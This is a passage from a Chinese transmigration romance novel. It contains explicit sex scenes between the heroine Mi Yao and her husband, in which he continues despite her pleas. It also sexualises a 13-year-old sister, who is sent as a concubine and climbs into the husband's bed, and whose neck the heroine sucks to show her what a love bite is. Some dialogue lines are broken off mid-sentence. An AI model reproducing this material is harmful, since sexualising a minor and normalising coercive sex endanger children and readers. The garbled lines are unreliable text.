女人的唇瓣一如往常般甘甜,香软。
他扣住她的后颈,让两人紧紧贴近,嘴上咂摸她的滋味,手掌则是在玉肌上肆意描画。
像是攻城略地的暴君,宓瑶被他的强势逼的喘不过气,连带着脑子都开始发晕。
趁着他停下换气的空隙,宓瑶抓紧时间道:“郎君,我难受……”
“难受也受着。”
听到宓瑶的求饶,萧欻冷声讥讽,没有松开她,在下一刻又堵住了她的唇。
只是他嘴上说得难听,接下来的吻却缓和了许多。
宓瑶惊奇的发现他这次竟然没有咬她。
今天的节奏与上一次差不离多少,不一样的是这一次他没有以往那般强势。
听到她说不要他就停下。
而后他自给自足,宓瑶从双目无神到血渐渐凉下,觉得今天这场运动没有她参与也无所谓的时候,弄脏的软帕终于扔下了床榻。
“给你拿张热帕?”
萧欻看了眼宓瑶,开口问道。
这次因为他没有强求,所以被上没什么脏污,省了他换铺盖的功夫。
宓瑶没立即开口。
等到萧欻拿了帕子过来,她恍惚
“郎君,
“你又怎么?”
萧欻皱眉,
宓瑶眼圈发红。
她原本以为缓一缓,那种不上不下的感觉就会消失,但感觉到萧欻身上散发的餍足,难受的感觉没有消失反倒是更难受了。
在满头大汗试图侵占更多地盘,而她除了说不要就是在享受。
这一次萧欻放弃的速度太快,最后他爽完了,她却卡在快到不到。
在要硬气和及时行乐之间,宓瑶瞧向萧欻,在他不解的眸光中抬手揽住了他,亲了他脖颈之间的喉结。
她选择了及时行乐。
“你做什么?”
脖颈被亲吻吸吮,萧欻声音哑的像是嗓子掺了粗粝的沙,已经暗下的火星又有卷土重来的的架势。
“郎君怎么能只顾着自己,我难受……”
宓瑶委屈巴巴地抱怨,娇媚的眼眸带着欲语还休的钩子,萧欻怔了一下,终于懂了她这副姿态的缘由。
他倒是从未想过这事,只是觉得她平日喝的水多。
原来女子与男子一样,还有不上不下。
“你要我如何?”
需求关系逆转,萧欻的嗓音依然暗哑,姿态却多了丝不急不缓。
“……手探探?”
宓瑶说完眨了眨眼,“郎君,你会吗?”
大约没一个男人在男女的事上愿意承认自个还在学习摸索,是个刚上手的雏儿。
听到宓瑶质疑的语调,这次萧欻没再遵循先接吻再亲脖子的步骤,而是直接舔咬了她。
方才宓瑶还觉得萧欻变了性不像狗了,现在看来他还是他,情绪上来就要当狗,不啃她的皮肉就觉得缺了什么。
半个时辰后,萧欻还是干了换床单的活,他站在床榻边上,居高临下地看着宓瑶眼眸呆滞恍若魂不附体。
想到她刚刚的模样,他突然发现男女这事,操控对方也有趣味。
她让他想起了他娘曾经养过的兔子,见腿就蹭,又急又快,十分容易满足。
收拾好床铺,萧欻再回床榻,宓瑶已经闭了眼。
她说她失望他不够正直,他却觉得那是她疲懒的借口。
因为觉得自个的地位在萧府足够稳固,所以才生出了往常没有展现的脾气。
只是不知道她是单寻了一个借口来骗他,还是不单骗他,连自个也骗了。
*
因为运动进行的太早,翌日感觉到萧欻起床,宓瑶也迷迷糊糊睁开了眼。
迷瞪瞪地欣赏了萧欻赤/裸的背脊,等到萧欻出门,她打着哈欠披了披风,没继续在这睡觉,而是回了自个的屋子。
萧欻体热不喜欢在屋里放炭盆,而且还不喜欢睡太软的床铺,平日里她要讨好他,在他这里睡到中午也没事,如今她自然是要选择更舒适的睡处。
等到她再醒来的时候床上多了个暖和的肉团子。
她摸来摸去,从萧善的胳膊捏到了她的脸,萧善痒得哈哈直乐:“阿娘……以后别跟哒睡!”
知道萧善撅着嘴说的哒是萧欻,宓瑶刮了刮她的鼻子:“你去跟他商量去,说他那么大一个人了,总叫旁人陪他睡是怎么回事,该长大自个睡了。”
“就是!”
见萧善利索地套衣服,迈着小短腿要往外跑,宓瑶抓住了她。
“你阿爹脾气不好,听不得真话,若是你惹怒了他,小心他搬了你的小床,让你去陪他睡。”
听到萧欻会那么做,萧善愁眉苦脸:“不要!”
谁要跟看起来凶凶,身上也不香香的笨蛋阿爹一起睡。
“不要就别惹他。”
主要是依照萧欻的小气德性,一定会把萧善惹他的事算在她头上,虽然还真是她教唆的。
换好了衣裳,两人不再提萧欻,而是专心于今天的活动。
之前去梅园宓瑶听到三个萝卜头说有皮影戏,这事给了她启发,打听了一圈益州都有什么有名的杂技班,年前她就早早下了定金,定下了过节这几天的表演。
昨日萧府的空地就提前搭好了毯子,今日从晌午过后便开始有伶人轮番上台表演。
萧善他们原本是最期待上次没看完的皮影戏,但听伶人奏乐唱曲也觉得稀奇特别,而后杂技上场吞火,走索……萧良因为嘴巴惊的没空闭上,吃了一肚子的冷风,看着小肚子都更圆润了一些。
今日萧府比除夕那天还要热闹,萧欻开始不在,后头也来了。
坐在宓瑶旁侧,目不斜视地看台上杂耍。
在众人叫好中宓瑶瞄了眼萧欻孤冷的神色,也不晓得他是真想看这热闹,还是意识到这些热闹都是由他银子砸出来的,所以绷着一张脸不感兴趣也在这里熬时辰。
表演一直到下午才散。
结束时萧善与萧良恋恋不舍,知道之后还会请杂技班上门才安下心,等着下一次再看。
回到听松院,萧良仍在兴奋之中。
“大哥,我觉得一切都像是在做梦一样。”
“技人吞剑是因为在剑上做了机关,那剑刃刀到他嘴里就会缩起来,不是真把一柄剑都吞进了嘴里面。”
萧翼听说过吞剑的诀窍,觉着有义务要告诉弟弟,免得弟弟那么单纯,长大被人蒙骗。
“原来是这样!”
萧良眼睛放光,“大哥知道的真多,但我也晓得他不可能真的把剑吞到肚子里,我是高兴能看到这些,高兴阿娘能与我们一起过年。”
之前有大哥的提醒,他一直叫宓瑶母亲,后面见善儿叫宓瑶阿娘,他有一次不小心跟着叫了。
叫过之后,见宓瑶依然理他,没有训斥他叫的不对,他便跟善儿一样一齐称她阿娘。
他是真的喜欢宓瑶,他还记得宓瑶没来时,马阿婆吓他宓瑶会害死他和妹妹,现在看来马阿婆就是十足的坏人,胡说八道,阿娘才不会害他们。
阿娘最最好了。
“去年祭拜爹娘和祖母,我跪着不停在哭,晓得阿爹不喜欢这样,我还是止不住的的哭,我想爹娘还有祖母,想他们若是还在就好了。”
而前两日再摆牌位祭拜,他还是想要亲爹亲娘和祖母活着,但却没那么难过了。
会这样的原因就是因为有了宓瑶。
“若是阿娘也喜欢一点阿爹就好了。”
萧良感叹,他注意到了阿爹阿娘不常说话,应该是因为阿爹的脾气太差,阿娘嫌弃他。
听到弟弟那么说,萧翼摇头道:“阿爹与母亲是夫妻,母亲自然是喜欢阿爹的,以往你别在说这样的话了。”
“真是这般?”
萧良第一次对大哥的话产生了质疑。
到了隔日他更确定了大哥说的话是哄他,因为一大早阿爹就冲到了阿娘房里发怒,他听到下人谈论时吓了一大跳,想往主院赶却被嬷嬷拦了下来。
“二郎不用担心,夫人跟镇使有误会,不是吵架,等会就好了。”
“真的?”
萧良干净的眸子认真地瞧着嬷嬷。
被他那么正经八地询问,嬷嬷迟疑了一下。
应该是真的吧,夫人那么美丽的女子,镇使总不可能舍得动手打夫人。
宓瑶此时正在无语。
她睡觉睡得正香,突然被哭闹吵醒,睁开眼就见萧欻站在她的床前,满脸肃杀地看着她。
揉了揉眼睛,宓瑶开口:“你是我家郎君,还是地府来的阎王?长得那么像我的萧郎,怎么看着却那么凶戾,像是要把我一口吃了。”
萧欻面无表情地勾了勾嘴角:“少来这套,她是怎么回事?”
宓瑶顺着他的视线看向在门边抹泪的虞琇,触到她身上单薄的衣裳,她混沌的脑子一下子清醒了。
正想着虞琇应该不会那么傻,就听到萧欻开口讥讽:“你倒是省事,我让你找个不逊你的美人,你就指使你没及笄的丑妹妹往我床上爬。”
萧欻有晨练的习惯,每日他都会早起练两个时辰拳法或者兵器。
今日他练完回住处换衣,一踏入房门就觉得屋子里有股陌生的气味。
走到床边看到榻上的鼓包,若是按照以往,他估计是一剑捅进去,而想到或许会发生的某种可能,他伸手掀开了被子。
而一掀开就看到了虞琇。
“郎君我晓得你生气,但说话也不要太伤人了,琇儿哪里长得不好?”
相比于认为虞琇是按着剧情,发自内心的想勾引萧欻,宓瑶想到虞琇昨日瞧见她脖子红痕想哭不敢哭的模样,选择相信自己的个人魅力,觉着虞琇弄这一出是为了她。
不过就是为了她,也很蠢很烦就是了。
“这就是你给我的解释?”
萧欻冷眼盯着宓瑶,大有这是她全部解释,他就把她从被窝里拎出来扔到屋外的架势。
“当然不是,琇儿是误会了,说起来都怪郎君,你太喜爱我,让她以为你平日都在打我。”
宓瑶微微拉开自个的衣领,让萧欻看她身上未消的吻痕,暗示虞琇是误会了这些痕迹。
虽然觉得荒谬,但任何荒谬的事发生在宓瑶身上都不奇怪。
“滚出去。”
萧欻出声赶人,虞琇往前走的脚步停下,抽泣道:“阿姊没有指使我,都是我的错,镇使要打要杀冲着我来就行了,跟阿姊没有关系……”
被萧欻拎过来时,她以为她今日就要没命,到这会才缓过来求饶。
“诗雅带琇儿出去,记得把衣服穿好,别吹冷风吹病了。”
等到诗雅把虞琇带走,屋里只剩她与萧欻,宓瑶摸了摸发冷的肩头,晓得今天她是逃不掉早起了。
“郎君先等我穿个衣裳?不若得了伤风,染给你就不好了。”
看着宓瑶从头到尾都没紧张起来的神情,萧欻嗤了声:“虞氏,你胆大无比,做事随心所欲,看着对我恭敬,极尽讨好,实际脾气比天大,对你有用的人你就耐着性子好声好气,对你无用的人若是烦到你,你就当龟孙骂。”
宓瑶本以为萧欻会讥讽她管束妹妹不严。
没想到他张嘴却是说这个。
“郎君怎么突然那么说,我哪有那么坏,怎么会把人当龟孙骂?”
她穿书后唯一骂过的人只有桓冠斌,总不会过了那么久,桓冠斌越想也想不通,觉得她骂的过分,来找萧欻告状吧?
萧欻没理她,继续道:“你这般不受控的人,谁敢把你当做工具,我给你留下濮青,不过是不想我回来之前,你就作的只剩尸首。”
若说工具他真没把她当做什么工具,充其量是看中她的嫡兄,想借由这门姻亲,劝说在朝廷不受重用的虞少阳来益州。
至于她猜测的那些,她没提起之前,他根本没有想过。
“我压着证据不送,的确是觉得我这半年风头太盛,不想在没有由头的情况下对上赵家子弟,至于利用你。”
萧欻讥讽挑唇,“你是不是忘了你住在萧家,你是我明媒正娶的夫人,你在赵家人面前嚣张跟我在赵家人面前嚣张有什么区别。”
他又不是未卜先知,能猜到汪家父母豁得出去,为了给女儿讨回公道,不介意让世人知道自家女儿被赵五郎欺骗。
到她嘴里他就变成了早有谋划,利用她得到想要的结果。
还失望他的正直,若是真那么说,他还是失望她不如他想的疯癫。
在他最糟糕的预想中,他会快马赶回来为她收拾烂摊子,给她擦屁股。
宓瑶与萧欻相识以来,还是第一次见他那么多话,想到两人的争执已经过了七天,而萧欻憋了七天才说出这番话。
她眨了眨眼,哪还敢质疑他,软软道:“郎君可真好。”
说完,怕萧欻觉得错都在她身上,她又补了一句,“若是旁人我一定不会那么误会,因为在意才会关心则乱,就是郎君在我心中太伟岸了,我才会误会郎君。”
所以错在他在她心中不该那么伟岸。
萧欻冷冷看了她一眼:“你还有什么疑问一齐问完。”
宓瑶想了想,摇了摇头。
因为萧欻看起来不像有人性的样子,所以看到吴盈盈生前留下的册子,她便不吝于用最坏的角度揣摩萧欻。
现在他褪去了肃杀凛冽,像寻常被冤枉的普通人一样大爆发,她还能有什么话说。
不过她还蛮满意萧欻对她的认知,在他心中她就是个没脑子会给他麻烦,需要他擦屁股的麻烦精。
真好真好,这样以后她就能更放心的嚣张跋扈。
“我对郎君才没有疑问,我对郎君只有信任与欢喜。”
“嗤。”
萧欻眸光没有回暖,看向*她微开的衣领,抿唇道,“我既没错,那错的就只有你,你现在打算如何赔罪?”
咦?
夫妻之间还有赔罪这回事吗?不是床头打架床尾和吗?
宓瑶装傻:“我会好好教训琇儿,让她今后不会再犯傻。”
其实说起来虞琇是作为媵妾来的萧府,她会爬床按道理来说没什么问题。
但还是那句话,她觉得萧欻看起来没什么人性,会用最坏的角度揣摩他,所以她不敢说这话,免得惹得他心里不舒服,真要拿虞琇怎么办。
“若是你说的是真的,她误会我打了你才有今日这出,那她会误会难不成没有一点缘由,你别与我说她全全是凭空猜测?”
萧欻捏起了宓瑶视线躲避的脸,目光相对,“虞宓瑶,我不想听借口,我只想知晓你打算如何赔罪。”
“那不然……郎君你再进去一寸?”
宓瑶纠结着开口,他非要她赔罪,要是她正正经经说什么,感觉他也不会满意,那不如来点不正经的。
而下一刻她就后悔起她的不正经。
原本她想着萧欻才狠狠怒过,加上今天既不是初一也不是十五,还是在大白日。
谁想到她说完,萧欻就翻身上了她软绵绵香喷喷的床榻。
“我还没有洗漱……”
“不吻你唇。”
说完萧欻握住她的手,让她晓得之前是到哪个位置,多一寸又是怎么样,“你到时候看准了,别事后说我多得了什么。”
宓瑶:……
谁要看啊。
光是碰到她都觉得她今日难逃一死。
第35章 第三十五章【VIP】
下午从榻上爬起来,宓瑶走出房间大门都还有些恍惚。
一切发生的太突然。
她原本想着萧欻是自尊心作祟,他能被她误会那么多天都憋着不解释,可见他就是死要面子的那种人。
今个他违背了他的大男主守则跟她解释,肯定心中不爽,所以就要用榻上的那些事来让她露出怯态,好重回两人之间他高高在上的地位。
都大男主了,自然得让让他。
所以她姿态十分柔软,又是娇嗔,又是说泪眼朦胧地睇他,想让他心满意足后放她一马。
只能说她把男人想得太好,她想着她足够退让,萧欻就会见好就收,谁想到她求饶求得嗓子都哑了,他还是一往无前,仔细跟她探讨一寸有多长,在她说他算学不好,把一寸当十寸用后他甚至中途去寻尺子让她亲手测量。
那会儿,萧欻脸还是那张脸,人却就像完全变成了另一个人。
冷峻的脸上浮现了一抹恍若喝醉后的灼热,脑子像完全被牛子操控了一样。
“虞琇在哪?”推开房门,宓瑶朝院里的侍女问道。
“回夫人的话,姨娘子在清月院,可要奴婢把她唤过来?”
“不必,我自个去寻她。”
说完,宓瑶一边走路一边在心中对萧欻骂骂咧咧。
往常这个时辰她也才起床,不同的是她此时浑身像是散了架一样,不止没睡饱脚还有些发酸,每走一步都觉得扯疼,有种无法把腿闭拢的不自在感。
萧欻走后她原本打算再睡一会,但一闭眼就觉得屋里全是萧欻的气味。
而一闻到他的味她脑子里就浮现他有多过分,所以干脆起身找虞琇,搞清楚她今个是怎么回事。
原本她觉得虞琇是为了她爬床,萧欻搞了这一遭后,她都怀疑起虞琇是被萧欻收买,两个人一起整她。
清月院离听松院近,但离主院有些距离,宓瑶走到中途还坐在庭廊缓了缓,等到了地方就见双眼通红的虞琇焦躁地在院里走来走去,而诗雅在旁陪着她。
见到宓瑶,虞琇快步走到了她跟前,白净的脸上又羞又愧。
“阿姊,姐夫有没有为难你?诗雅与我说了,是我想错了……”
“回屋再说。”
宓瑶也不知道她的屏障被萧欻破坏了没有,萧欻说还有一大截,她自己瞄了一眼的确只是过半,不过起床时她看到被面上有点点血迹,也不确定是不是。
“你是如何想的?从头到尾,清楚的与我说一遍。”
在屋里坐下,宓瑶没有拐弯抹角,直接审视地看向虞琇,让她给她一个合理的解释。
看出宓瑶脸上的厉然,虞琇这会比被萧欻叱责还要紧张害怕。
她自来看得懂眼色,明白若是她的解释不能让阿姊满意,阿姊不会再给她任何机会。
“阿姊,我只是觉得我能吃苦。”
虞琇低头站在宓瑶面前,晓得这时候她要是流泪会招宓瑶厌烦,但眼眶还是忍不住发热,眼泪落进了地上的毯子。
“之前听阿姊说跟姐夫同床是吃苦,我就想阿姊若是要找代替的人,与其找其他陌生的女子,不如我来替阿姐,比起外人我更跟阿姊一条心。”
宓瑶让牙人找美人的时候,她就起过这样的想法,但记着阿姊警告她,若是想得到阿姊的庇护,就不要越过她去讨好萧欻。
加上阿姊与萧欻开始分房不再受罪,她的想法就消下去了。
再起心思是因为前两日看到阿姊身上的痕迹,觉着阿姊娇弱承受萧欻的暴虐太苦,这般下去阿姊迟早没命,就自作主张去爬了萧欻的床。
她没想过萧欻会拒绝她。
因为在虞府不管是她爹,还是府里的大伯和叔叔们,只要侍女能找到机会在他们独自一人时出现,就没有哪个人会失败。
加上从其他下人嘴里听到的讨论,她便认为男人不会拒绝任何躺在他们床上的女子。
谁知道萧欻一看到被子里的她,冰冷的眼眸宛若在看死人。
直到被萧欻拎到了阿姊的房里,她才从惊惧中缓过神,觉得自个的命保住了,萧欻不会杀了她。
“是我太蠢,阿姊,你别赶我走,我往后再也不会自作主张,我一定听阿姊的话……”
虞琇磕磕绊绊地说完了自个的想法,越说就越觉得今日的事是自己自找的,阿姊警告过她,让她老实听话,但她还是没问过阿姊,就自个盘算安排,做了阿姊厌恶的事情。
“你是想帮我,还是觉着我不受萧欻喜欢,怕迟,所以才越过了我?”
虞琇,宓瑶少见地沉思了起来。
太多的关联,但从她意识到身边的人都有自个的想法,而不是剧情中添补细枝末节的NPC,是纸片人的事实。
而接受了这件事,她。
就像虞琇以前给她下药,她觉得烦却没有其他的情绪,她既然没把对方当活人,总不能要求对方像个被设定好工具一样对她忠心耿耿。
但如今想到虞琇不信任她,她就会觉得不舒服。
“阿姊,我真的没想过惹起你生气,我开始不懂,后面就晓得你与姐夫分房也影响不了你的地位,再者开始我可能会害怕,但这几个月下来,只要阿姊同我在一起,哪怕有一日离开萧府我也不觉得有什么。”
虞琇边哭边郑重地说道。
她虽然每次见到宓瑶亲近萧善他们,都觉得她在做多余的事,但也如霜华所说,觉得这样的阿姊越来越有人味。
感觉到宓瑶的底线与怜悯,她早就不觉得宓瑶是不可依靠的阿姊。
“在我看来去姐夫那里是吃苦,是阿姊你不愿意做的事情,若是知道夫妻都是那样,我就不会犯傻……但是阿姊,那真的是夫妻间都会有的‘亲近’吗?”
就是到了这个时候,虞琇依然忍不住怀疑。
诗雅说了那些痕迹是因为萧欻宠爱阿姊,但她从未在虞家后院女人的脖颈上看过那些红痕,而且阿姊也说过萧欻有怪癖。
“过来。”
宓瑶勾手让虞琇站起,在她茫然的目光靠近了她。
虞琇眼睁睁地看着阿姊脸靠近了她的脖颈,嗅到阿姊身上甜香的气味,然后感觉到脖颈一疼。
也不是纯粹的疼,而是酥酥麻麻的刺痛。
一时间她吓得忘了哭。
宓瑶抬起头,看向已经但呆傻的虞琇:“你去看看镜子,就懂我脖颈上的红痕是什么,我之前不与你说,是觉得你年岁还小,跟你说这些太早。”
宓瑶把自己不愿解释的冷漠态度婉转表达成了对对方好。
这般她说着顺口,虞琇听着也舒心。
“我方才认真想了想,若是把你送走,我开始可能不觉有什么,但某个夜深人静想起,或许会觉得你的错跟我有几分关系。”
避免在夜深人静反思自己,她决定再给虞琇一个机会。
再说她都代虞琇给萧歘赔罪了,该付的代价都付了,这种情况下把虞琇送走太亏。
想到道歉,宓瑶提醒道:“我已经跟萧歘解释过始末,所以你不必再去给他道歉。”
“阿姊,我知晓了。”
宓瑶瞧了眼满脸通红,神色转为不知所措的虞琇,知道她还在因为那个吸吻震惊。
见虞琇脸上的害羞慢慢压过羞愧,宓瑶有种自个做这件事虽然吓到了虞琇,但无法让她长记性的感觉。
“去把戒尺拿来,”
宓瑶朝诗雅吩咐,“别拿我房里的那把。”
怕诗雅弄错戒尺跟用来量长度的尺子,她特意追加了一句。
一个时辰前萧欻说要找尺子确定进入的深度,还真让他在她房里找到了尺子。那把尺子是她做瓶花时用来精准长度的,谁晓得放在她屋子里有朝一日还有这种用场。
看到不短的尺子放在他身上比较,竟然变短了起来,她巨物恐惧症犯了差点没抽过去。
以前看小说的时候,看到作者附加在男主身上的设定她不觉得有什么,但这设定让她直面应对就不怎么好了。
拿到戒尺,宓瑶在虞琇两只手上各打了二十下。
怕被宓瑶赶走时虞琇泣不成声,此时手被打肿她反倒忍住了哭泣,又一次郑重地认了错。
罚完了虞琇,宓瑶叫来了霜华,先问了她最近管理萧府内院有没有不顺的地方,才开口道:“我给你找了个帮手,往后让琇儿跟着你,你分派一些事给她去做,做不好就教她做好,别分给她太简单的事。”
原本想着虞琇才十三,又是原主的妹妹,使用童工不好,宓瑶平日对虞琇的态度跟对萧善他们差不多。
——吃饱睡好玩好,人好好活着别惹事就行。
既然虞琇闲着也不享受生活,她便收回了她可以自在逍遥当孩子的权利。
她算是看出来了,虞琇‘事业心’强,受不了平静闲适的生活,既然这样她就满足她的事业心。
安排好了一切,宓瑶又跑去浴池。
到了暖室听下人提起,她才晓得萧欻来过,她是因为不舒服才来泡澡,他是因为什么?
怕他肩上被她抠破的那些伤痕发不了炎吗?
知道浴池才被萧欻用过,她有点反感,但目光触到屋里蒸腾的热气,看着滴了花露放了花瓣,不用想就一定很舒适的热水,她还是选择了下池。
若是萧欻用过的东西她就避开不享受,那怎么看吃亏的都是她。
抱着这样的想法,回屋躺在床榻上,感觉到架子床上还有萧欻残留的气息,她也勉强适应了。
男人凛冽霸道的草木气味萦绕周围,宓瑶不断安慰自己今日算是调休,等到十五她一定会找借口躲过,把今天本该的休息补上。
第36章 第三十六章【VIP】
“初一那日郎君不是已经去给父君拜年了?”
听到萧欻通知她准备出门去节度使府邸,宓瑶瞪大了眼睛,一脸的不可置信。
旁人过年是休息,她却是在当牛做马。
初一上工,初一正正经经坐着看了一下午杂耍,初三虞琇爬床,到了初四她以为她终于能躺一天,修复她的身心俱疲,谁知道还要出门。
“往年我初一去一次就够,但前两日我过去,父君让我带你与孩子过去。”
看出宓瑶的不愿,萧欻顿了顿道,“听父君的意思他今日打算留宴,除却我们父君其他养子与他看重的属下都会携家眷过去,你新交的那位岳夫人应当也会去。”
听到鄢妘也去,宓瑶依然没振奋起精神。
但不想去也没办法,这种局除非萧欻地位比赵天赫高,不然她就是重病也要装作无事地去给赵天赫请安。
唉。
“你盯着我看作甚?”
萧欻说完本要离开,但走之前触到了宓瑶直勾勾的目光,看出她眼中的哀怨与期待,不晓得她又有什么花招。
“我在看郎君何时能成为雄霸一方的霸主,好把我金屋藏娇。”
哪怕对宓瑶的口无遮拦早有认识,萧欻听到她说这话还是冷了眼眸:“你倒是什么都敢想。”
“这有什么?哪家娘子不期望自家郎君能上进,我想这些说明我崇拜郎君,觉得郎君厉害,郎君不感动竟然还凶我。”
宓瑶没有因为萧欻的冷脸收敛态度,反倒一副他做错的模样,委屈地看向他。
萧欻怕看久了她的装傻充愣,会忍不住学她用戒尺训人,他收回目光:“那你就期望吧。”
“这么说是有戏了?”
宓瑶只当听不出萧欻的讥讽,捧着脸朝他凑近了些。
“嗤。”
萧欻这次更干脆,直接回以冷哼。
知道要出门,宓瑶不愿,还是迅速地挑选了衣裳,相比去梅园那次,她这次低调了不少。
应景的大红色五彩缂丝衣裙,梳了一个慵懒的坠马髻,带了两朵芙蓉绒花,配了几支金镶玉的发钗。
至于三个小的,她直接给他们挑了同色布料做的新裳。
出门时萧欻一眼望过去,只觉得红彤彤的刺眼。
低眸看了眼自个身上藏青色衣袍,才觉得眼睛舒服了一些。
萧欻骑马不与他们同坐马车,牵马前,萧欻路过宓瑶提醒道:“到了节度使府,自个想清楚什么能说什么不能。”
“在郎君眼中我会蠢到那份上?”
宓瑶惊讶地朝萧欻眨了眨眼,眼睫黝黑卷翘如扑棱的蝶。
“郎君就放心吧,到了节度使府邸,我一定乖乖的,就是旁人说了什么冒犯我的话,我也不发脾气,等着郎君来维护我。”
“记住你说的话。”
宓瑶生了一双漂亮的眸子,瞳仁如同流光溢彩的宝石,勾人的时候妩媚娇柔,装乖的时候又如清泉倒映星子,湿润干净。
看在美色的份上,萧欻把那句“你本就愚蠢”吞回了肚子。
宓瑶承诺的诚恳,像是真打算如此做。
而等到一个时辰后,萧欻听到宓瑶与其他家的夫人对上,把对方训的委屈落泪,神色并没有什么欺负变化。
只能说就算有她的承诺在先,他也早有预料。
“九弟,你这新妇模样出挑,脾气也真是万里无一……”
女眷的席面离男人这边不远,虽然双方听不到彼此再说什么,但女眷那边的嘈杂稍稍打听就知道发生了什么事。
听到虞女把几位有名有姓的夫人说的哑口无言,萧欻身边的养兄调侃道。
“不知九弟妹对九弟如何,总不会动辄打骂吧?”
“哈哈哈,萧镇使哪里是受得了女人气的性子,虞女敢对萧镇使不敬,那怕是不想要命了。”
周围因为这句粗犷不羁的马屁静了静,众人纷纷看向萧欻,想听他如何应对。
只见萧欻饮了口酒,神色一如既往的不近人情,只是说出来的话与寻常冷漠的样子不同。
“我夫人美若天仙,我疼她还来不及,怎会舍得对她动手。”
说完凤眸微压,直直看向了那人,“你这话让我夫人听到,我可讨不了好。”
萧欻说完,众人哄笑,说他一世英雄却难过美人关,就那么被一个南地来的女子制住了。
“被美人制住,总比娶了一个寻常母老虎好,平日她若是骂我打我,我吃了疼再。”
样。”
,九弟这般,你们想要告九弟妹的状,怕是告不了。”
那几位夫人的夫君说到,“再说女娘之间的事情,我们男人插手算是怎么什么,只当不晓得吧。”
女席那边的事情会传过来,便是那几个夫人给自家郎君传信,让他们知道虞女嚣张,让他们去给她们撑腰。
就如赵悟所说,女人之间的事男人插手算是什么。
但知道自个夫人被骂哭,就那么吞下一口气他们又不愿,所以想看看萧欻的态度。
而萧欻豁出去了男子脸面,说他在宓瑶身上讨不得好,任由宓瑶打骂。
这般他们还能说什么。
“老五说笑了,女人家的事我们告什么状,不过弟妹如此霸道,九弟不加管教,反而放纵宠溺,怕是以后会酿出祸事。”
这人边笑边说,像是想把这话当做调侃的玩笑话,但他说完并没有人接话,萧欻连眼眸都没抬一下,任由他对着空处干笑。
没人为他圆场,那人只能呐呐坐回原处,心中暗自咬牙,觉得萧欻夫妻俩都狂妄至极。
萧欻靠着在赵天赫面前当红,不把赵家子弟与他们这些养兄放在眼里,如今又娶了一个不懂收敛的妻子,迟早会吃大亏。
若是宓瑶晓得男席那边觉得她张扬跋扈,一定会大喊一声冤枉。
她今天没什么精神,只想快点走完过场回榻上继续躺着,话她都不打算跟陌生人多说几句,很何况是与人吵架了。
可惜有些人就是看不懂眼色。
坐在她不远处夫家姓吴的娘子,先是与小姐妹暗戳戳地讨论了她几句,声音不大不小因为没有点名点姓,她只当听不见。
可她们不懂得见好就收,反倒觉得她不像是传说中的暴脾气,直接跑到了她面前指指点点。
若是她还能忍,那她就真是牛马了。
赵家兄妹闹出的事情因为有赵天赫的态度压着,益州城内没人敢把赵五郎都祸害了那些娘子摆到台面上说。
而这种事越不摆上台面,私底下就传得越为离谱。
几乎给过赵七娘好脸的女子都被讨论了一遍,吴夫人的夫君是赵天赫的养子之一,她夫君与赵家子弟的关系不错,她与赵七娘自然也说得上话。
所以无缘无故她就成了旁人猜测的女人之一。
名声被损害她自然就恨上了宓瑶。
至于为什么是恨宓瑶而不是怨恨其他人。
一是他家跟赵家旁支还要来往,不能恨到赵家去,一是汪家父母因为太豁得出去,有赵天赫的夸奖,私底下笑汪家人的不少,但面上顾忌着赵天赫,都是一片叫好。
这种情况下,不顾及赵家脸面,挑开脓包的宓瑶就成了一个好的仇恨对象。
吴夫人也不是直接拿赵家兄妹的事说事,而是拿了萧欻姐姐,宓瑶的姑子,说娶妻娶贤,萧欻娶了宓瑶真是倒了大霉。
“萧家大娘子与九弟是血脉亲人,两人有误会,你作为新妇不在其中调解,竟然在过年时直接把萧大娘子关在萧府外面,你这般目无长辈,我作为九弟的嫂子少不得说你两句让你晓事。”
“就是,若是旁人知晓了这事只会笑话你无德不贤,也就你三嫂人好才会警醒你。”
“不是我说,你才嫁来益州多久,你出去打听打听,外头都是在说你霸道跋扈,你再不改改还有什么名声可言。”
“我们都是为你好,不愿见你一直给萧镇使闯祸,连累坏了他的名声。”
宓瑶本是赖洋洋地靠在座椅上,有一搭没一搭的与鄢妘说话。
瞬间眼前的光亮被遮蔽,抬眸就见几个打扮富贵的娘子堵在了她面前,虽是跟她说话,却不给她开口的间隙,你一言我一语,一句接一句要在众人面前把她的罪定实了。
眸光扫过几人,宓瑶情绪依然淡然,开口重复了她们的话。
“外头都在说我霸道跋扈?谁说的,你们传的?”
吴夫人一噎:“你这是什么意思,谁传你的谣言了?”
“若不是你们传还有谁,我瞧这席上也就你们不喜欢我,方才一个个斜眼打量我,说些阴阳怪气的话,现在又来我面前说三道四。”
鄢妘见几人来势汹汹,本想帮宓瑶说话,谁想到宓瑶开口就能让所有看热闹的人吓得屏息静气,哪还需要旁人帮忙维护。
见吴夫人几人被宓瑶说的怒形于色,鄢妘忍不住低头遮住了自个的笑意。
“你这人说话怎么那么难听,我好歹是你的三嫂,是你长辈,你竟然如此说我!”
“我们好心提醒你,你却这样冤枉我们,怪不得外头说你是闯祸精,是母老虎。”
“原来你们还在外头传我闯祸精?母老虎?”
宓瑶挑眉,目光认真地从头到尾打量了几人,把人看得汗毛竖起才道,“只是你们传话的时候不仔细想想,我这般模样的是母老虎,那你们是什么母夜叉吗?”
说着,宓瑶翘着兰花指,假假地放在唇上遮笑,“至于这位说是我三嫂的夫人,你是嫁给了我三哥,不是嫁给了我三伯,咱们是同辈,你算我什么长辈。”
“你这浑人,我说你初一把回娘家的萧大娘子关在萧府外面,心思歹毒,你说这些乱七八糟的做什么!”
“从没见过新妇这般对亲姑子的,你就不怕萧家父母九泉之下知晓,晚上站在你床边。”
“萧镇使对亲人如此冷酷无情,定然是被这个恶妇给迷惑了。”
“见她这般嘴脸,我都担忧萧镇使的三个孩子。”
听到吴夫人把话拉回正轨,她的姐妹们立刻跟上用萧欻姐姐说事。
可惜这些攻击对宓瑶来说依然屁都不是。
“你们这般有经验,是床头人山人海了吧。还有动不动就提我的萧郎做什么,又是操心他的枕边人有是忧心他的儿子,这位我三嫂的友人,你是惦记着我的位置想取而代之?”
说完,宓瑶没有给与她们继续回击的机会,摆了摆手,“嫉妒我漂亮想找麻烦,就大大方方说,旁人听到了虽然觉得你们小肚鸡肠,还能夸一声你们眼光好,少拿这些没意思的话烦我。”
“虞氏你脑子有毛病不成,我们何时嫉妒你漂亮了!”
“所以不止小肚鸡肠,眼睛还不好使。”
宓瑶口中啧啧有声,怜悯地看着几人。
“你这眼神是什么意思!”
吴夫人要气疯了,明明是宓瑶为妻不贤,有萧大娘子那么大一个疏漏,但宓瑶扯东扯西,把她们骂了一遍,就是不说萧大娘子的事。
